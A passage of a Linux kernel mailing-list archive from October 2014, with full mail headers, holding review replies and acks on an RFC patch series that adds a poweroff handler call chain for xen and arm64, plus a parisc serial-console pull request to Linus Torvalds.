	b=VOLBvov6M20nyOq3o3f8HLUrVNcURQNoFKAx7BYoQtQ6lE8NOfc1I4r7KbXijjW9dAxjZL++blCh3Yz3DU/rxwEFIaKkUiE3ma0JD0NcmWrxpoTSp3F6wzxuSbcPlZd5wmudHTXUo1GcsJXOGw7Ts2qQb8HV6b5w4NVFK2B50co=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XZgPw-000WjC-PT
	for linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Thu, 02 Oct 2014 13:27:36 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:49260 helo=server.roeck-us.net)
	by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
	(Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XZgPZ-000We3-D4; Thu, 02 Oct 2014 13:27:14 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <542D1EC4.10100-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>
X-Authenticated_sender: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=-1.0
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: *
X-Spam-Status: No, score=2.0 required=50.0 tests=SpamClass_Suspect,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Suspect
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020204.542D52C8.01D1,ss=2,re=0.000,recu=0.000,reip=0.000,cl=2,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 8
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:287 gmane.linux.kernel:1799864 gmane.linux.ports.mips.general:44078 gmane.linux.ports.ia64:24446 gmane.linux.ports.parisc:6061 gmane.linux.power-management.general:50481 gmane.linux.ports.sh.devel:39685 gmane.linux.ports.arm.kernel:361732
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/287>

On 10/02/2014 02:45 AM, David Vrabel wrote:
> On 30/09/14 19:00, Guenter Roeck wrote:
>> The kernel core now supports a poweroff handler call chain
>> to remove power from the system. Call it if pm_power_off
>> is set to NULL.
>>
>> Cc: Konrad Rzeszutek Wilk <konrad.wilk-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
>> Cc: Boris Ostrovsky <boris.ostrovsky-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>
>> Cc: Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>
>> Cc: Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
>> Cc: H. Peter Anvin <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>
>> Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
>> ---
>>   arch/x86/xen/enlighten.c | 2 ++
>>   1 file changed, 2 insertions(+)
>>
>> diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
>> index c0cb11f..645d00f 100644
>> --- a/arch/x86/xen/enlighten.c
>> +++ b/arch/x86/xen/enlighten.c
>> @@ -1322,6 +1322,8 @@ static void xen_machine_power_off(void)
>>   {
>>   	if (pm_power_off)
>>   		pm_power_off();
>> +	else
>> +		do_kernel_poweroff();
>
> Why isn't this if (pm_power_off) check in do_kernel_poweroff()?
>
> That way when you finally remove pm_power_off you need only update one
> place.  A quick skim of the other archs suggest this would work for them
> too.
>

Good idea. I'll do that for the next version of the patch set.

Guenter


--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc late fix for v3.17
Date: Thu, 2 Oct 2014 20:39:03 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20141002183903.GA1250@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412275168 14818 80.91.229.3 (2 Oct 2014 18:39:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Oct 2014 18:39:28 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 02 20:39:22 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XZlHd-00062V-Mv
	for glk-linux-kernel-3@plane.gmane.org; Thu, 02 Oct 2014 20:39:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752397AbaJBSjM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 2 Oct 2014 14:39:12 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:52590 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752296AbaJBSjI (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 2 Oct 2014 14:39:08 -0400
Original-Received: from p100.box ([84.173.27.188]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LxxKu-1YL0j00GZw-015IQt; Thu, 02 Oct 2014 20:39:06
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:j2xpA/reJkvfpDn4JIeLByLEsSYMfAwwxPZcPEsB0DjfS/Im/qp
 vJgkmAWT1a0Mc5q3Ac+6k1jRVdzqTZ+koTE7VcZ2LAbOws+u9pHYZYOOlpH8/t4q+ltzbHH
 oihIMS430mzqt0qViFBBu/iKI5gYSdHatS1ed/Y+4feRJzETs9ZQ4nHlp0gDOZadjomXpyq
 I09VOOOLoSppz1iikKFUg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1800094 gmane.linux.ports.parisc:6062
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1800094>

Hi Linus,

can you please pull 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.17-8

to fetch one late but trivial patch to fix the serial console on parisc
machines which got broken during the 3.17 release cycle?

Thanks,
Helge

Changelog:
Fix serial console for machines with serial port on superio chip

----------------------------------------------------------------
Helge Deller (1):
      parisc: Fix serial console for machines with serial port on superio chip

 drivers/parisc/superio.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel
Subject: Re: [RFC PATCH 05/16] arm64: support poweroff through poweroff
 handler call chain
Date: Fri, 3 Oct 2014 11:30:56 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20141003103056.GB14110@localhost>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
 <1412100056-15517-6-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412332281 4631 80.91.229.3 (3 Oct 2014 10:31:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Oct 2014 10:31:21 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-pm@vger.kernel.org" <linux-pm@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-metag@vger.kernel.org" <linux-metag@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Will Deacon <Will.Deacon@arm.com>
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 03 12:31:13 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xa08m-0001BQ-2G
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 Oct 2014 12:31:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751334AbaJCKbL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Oct 2014 06:31:11 -0400
Original-Received: from foss-mx-na.foss.arm.com ([217.140.108.86]:40876 "EHLO
	foss-mx-na.foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750852AbaJCKbK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Oct 2014 06:31:10 -0400
Original-Received: from foss-smtp-na-1.foss.arm.com (unknown [10.80.61.8])
	by foss-mx-na.foss.arm.com (Postfix) with ESMTP id 328915D;
	Fri,  3 Oct 2014 05:31:05 -0500 (CDT)
Original-Received: from collaborate-mta1.arm.com (highbank-bc01-b06.austin.arm.com [10.112.81.134])
	by foss-smtp-na-1.foss.arm.com (Postfix) with ESMTP id C025C6045A;
	Fri,  3 Oct 2014 05:30:57 -0500 (CDT)
Original-Received: from localhost (unknown [10.1.16.61])
	by collaborate-mta1.arm.com (Postfix) with ESMTP id 65C0913F77B;
	Fri,  3 Oct 2014 05:30:57 -0500 (CDT)
Original-Received: by localhost (Postfix, from userid 1000)
	id 55B342424; Fri,  3 Oct 2014 11:30:56 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <1412100056-15517-6-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6063 gmane.linux.kernel:1800355 gmane.linux.power-management.general:50518 gmane.linux.ports.arm.kernel:361893 gmane.linux.ports.ia64:24447 gmane.linux.kernel.metag:288 gmane.linux.ports.mips.general:44084 gmane.linux.ports.sh.devel:39698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6063>

On Tue, Sep 30, 2014 at 07:00:45PM +0100, Guenter Roeck wrote:
> The kernel core now supports a poweroff handler call chain
> to remove power from the system. Call it if pm_power_off
> is set to NULL.
> 
> Cc: Catalin Marinas <catalin.marinas@arm.com>
> Cc: Will Deacon <will.deacon@arm.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  arch/arm64/kernel/process.c | 2 ++
>  1 file changed, 2 insertions(+)
> 
> diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
> index 398ab05..cc0c63e 100644
> --- a/arch/arm64/kernel/process.c
> +++ b/arch/arm64/kernel/process.c
> @@ -157,6 +157,8 @@ void machine_power_off(void)
>  	smp_send_stop();
>  	if (pm_power_off)
>  		pm_power_off();
> +	else
> +		do_kernel_poweroff();

Acked-by: Catalin Marinas <catalin.marinas@arm.com>

As others already stated, I think we should eventually remove
pm_power_off entirely.

Catalin
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: Re: [RFC PATCH 05/16] arm64: support poweroff through poweroff handler
 call chain
Date: Fri, 03 Oct 2014 06:12:23 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <542EA0B7.5040007@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net> <1412100056-15517-6-git-send-email-linux@roeck-us.net> <20141003103056.GB14110@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412341965 28148 80.91.229.3 (3 Oct 2014 13:12:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Oct 2014 13:12:45 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-pm@vger.kernel.org" <linux-pm@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-metag@vger.kernel.org" <linux-metag@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Will Deacon <Will.Deacon@arm.com>
To: Catalin Marinas <catalin.marinas@arm.com>
Original-X-From: linux-sh-owner@vger.kernel.org Fri Oct 03 15:12:37 2014
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1Xa2ey-00029q-RX
	for glps-linuxsh-dev@plane.gmane.org; Fri, 03 Oct 2014 15:12:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752025AbaJCNMf (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Fri, 3 Oct 2014 09:12:35 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:46808 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751880AbaJCNMe (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Fri, 3 Oct 2014 09:12:34 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=d6c0J8CPr7MGkIri2DMJ634t+rNbrCz2y+m+JRlUFcU=;
	b=SrEYUcmfnl4+Mni8kBY6BxtX/qK9DHH8dqxAl42VaT24huOE+dcUKRBwT4WcG5Azzbqc5Os+vIifFzJ28EKqwV83kOQuvVMxDsNDCD4K9dg1iI8BeO6e/AH+RgVlTh2Rq7Rxphg3hFnvcvZVJCV9Nuz8OUj0KvEX2hgGGW9cveA=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Xa2ew-001AVs-HJ
	for linux-sh@vger.kernel.org; Fri, 03 Oct 2014 13:12:34 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:55627 helo=server.roeck-us.net)
	by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
	(Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Xa2ep-001A9K-RG; Fri, 03 Oct 2014 13:12:28 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.0
In-Reply-To: <20141003103056.GB14110@localhost>
X-Authenticated_sender: linux@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020201.542EA0C2.0137,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 3
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:39700 gmane.linux.kernel:1800428 gmane.linux.power-management.general:50522 gmane.linux.ports.arm.kernel:361921 gmane.linux.ports.ia64:24448 gmane.linux.kernel.metag:289 gmane.linux.ports.mips.general:44085 gmane.linux.ports.parisc:6064
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/39700>

On 10/03/2014 03:30 AM, Catalin Marinas wrote:
> On Tue, Sep 30, 2014 at 07:00:45PM +0100, Guenter Roeck wrote:
>> The kernel core now supports a poweroff handler call chain
>> to remove power from the system. Call it if pm_power_off
>> is set to NULL.
>>
>> Cc: Catalin Marinas <catalin.marinas@arm.com>
>> Cc: Will Deacon <will.deacon@arm.com>
>> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
>> ---
>>   arch/arm64/kernel/process.c | 2 ++
>>   1 file changed, 2 insertions(+)
>>
>> diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
>> index 398ab05..cc0c63e 100644
>> --- a/arch/arm64/kernel/process.c
>> +++ b/arch/arm64/kernel/process.c
>> @@ -157,6 +157,8 @@ void machine_power_off(void)
>>   	smp_send_stop();
>>   	if (pm_power_off)
>>   		pm_power_off();
>> +	else
>> +		do_kernel_poweroff();
>
> Acked-by: Catalin Marinas <catalin.marinas@arm.com>
>
> As others already stated, I think we should eventually remove
> pm_power_off entirely.
>

Hi Catalin,
yes, already working on it. As suggested by others, I'll move pm_power_off
to a central location (no need to declare the same variable for each
architecture) and hide the call to it in do_kernel_poweroff() as a
first step. You'll see this in the next version of the series.
This will make it much easier to remove it later on.

Thanks,
Guenter

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sebastian Reichel <sre@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [RFC PATCH 15/16] power/reset: restart-poweroff: Register with
 kernel poweroff handler
Date: Fri, 3 Oct 2014 16:27:18 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20141003142718.GA8291@earth.universe>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
 <1412100056-15517-16-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha512;
	protocol="application/pgp-signature"; boundary="BOKacYhQ+x31HxR3"
X-Trace: ger.gmane.org 1412346472 21578 80.91.229.3 (3 Oct 2014 14:27:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Oct 2014 14:27:52 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>,
	David Woodhouse <dwmw2@infradead.org>
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 03 16:27:42 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Xa3pa-00065a-CB
	for glk-linux-kernel-3@plane.gmane.org; Fri, 03 Oct 2014 16:27:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753321AbaJCO12 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 3 Oct 2014 10:27:28 -0400
Original-Received: from mail.kernel.org ([198.145.19.201]:45681 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752498AbaJCO1Y (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 3 Oct 2014 10:27:24 -0400
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id D5515201BB;
	Fri,  3 Oct 2014 14:27:22 +0000 (UTC)
Original-Received: from mail.kernel.org (p5DCEF906.dip0.t-ipconnect.de [93.206.249.6])
	(using TLSv1.2 with cipher AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id A9FF820158;
	Fri,  3 Oct 2014 14:27:21 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1412100056-15517-16-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Spam-Status: No, score=0.6 required=5.0 tests=BAYES_00,SUSPICIOUS_RECIPS,
	UNPARSEABLE_RELAY autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1800462 gmane.linux.power-management.general:50524 gmane.linux.ports.arm.kernel:361943 gmane.linux.ports.ia64:24449 gmane.linux.kernel.metag:290 gmane.linux.ports.mips.general:44086 gmane.linux.ports.parisc:6065 gmane.linux.ports.sh.devel:39701
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1800462>


--BOKacYhQ+x31HxR3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi,

On Tue, Sep 30, 2014 at 11:00:55AM -0700, Guenter Roeck wrote:
> Register with kernel poweroff handler instead of seting pm_power_off
> directly.  Register as poweroff handler of last resort since the driver
> does not really power off the system but executes a restart.
>=20
> Cc: Sebastian Reichel <sre@kernel.org>
> Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
> Cc: David Woodhouse <dwmw2@infradead.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>

Acked-By: Sebastian Reichel <sre@kernel.org>

-- Sebastian

--BOKacYhQ+x31HxR3
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJULrJGAAoJENju1/PIO/qaCuEP/jUqxYdfYb3oGnXL4qQQCuXC
4ODdpz4tRr+pPAbt+2MFu5Dg8IJ8CdlyiSxFwRKTRrQnKUH3x1ZZs4HHqkLo4P7L
pihROiTW5VpZ6pVkQ7AsS46QOU/WzXGLqMRX2fpZBILtidg+WG48508JyqK1vLYs
Ly6PUJdCLXpvcOUoLdVHq8oPbk4X/9ZS7oe/oLhtx/Gh9DuaY4du6J3dmViDC0Jk
xZy/S7FFeJZQ28rHfSqBn1cU/N5A0w3OELpMOXzE64US4D8dpiN602yeapC8S3nK
ZT4dm+tAqE5B9gS9YPrfM0QZ9sy6kDYEoSx0fsBHV9PgDybvYcmDnLBbduQjBWM4
Q8DIb0cPERR5N3p9I/jRBgqc7zsu1YeXttGcYVOeK8QxOPEt5WsdxmiV61/U+qXh
feMPyeXFbfAU6TXqDGrzhnSnY17G19a1hNSvUkG9zywJrPSGTMibwQi5/5oLqc/P
ZrTqyoHenojj3vF4VM6QiUZlaQXAV37kuwltIfxFPAsazUybUrPHcjA09xhhGO/D
uPwH1+z2FmI7TRXETQMKGrvpqFgBiAcA+DCKINBJqXVQlphA+EKoHQHUuH/GNTwS
Zi3+Vcb0VOD+It3Q0Mo3HDDeUAurhLRVeGmyEw50eN/379qql7oqlJBjIlfshO6D
RPZX2t8dORxxh7BvpoPc
=OT3F
-----END PGP SIGNATURE-----

--BOKacYhQ+x31HxR3--

From - Thu Nov 08 21:10:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Salter <msalter@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: [RFC PATCH 07/16] c6x: support poweroff through poweroff
 handler call chain
Date: Fri, 03 Oct 2014 11:17:22 -0400
Organization: Red Hat, Inc
Lines: 32
Approved: news@gmane.org
Message-ID: <1412349442.5410.14.camel@deneb.redhat.com>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
         <1412100056-15517-8-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
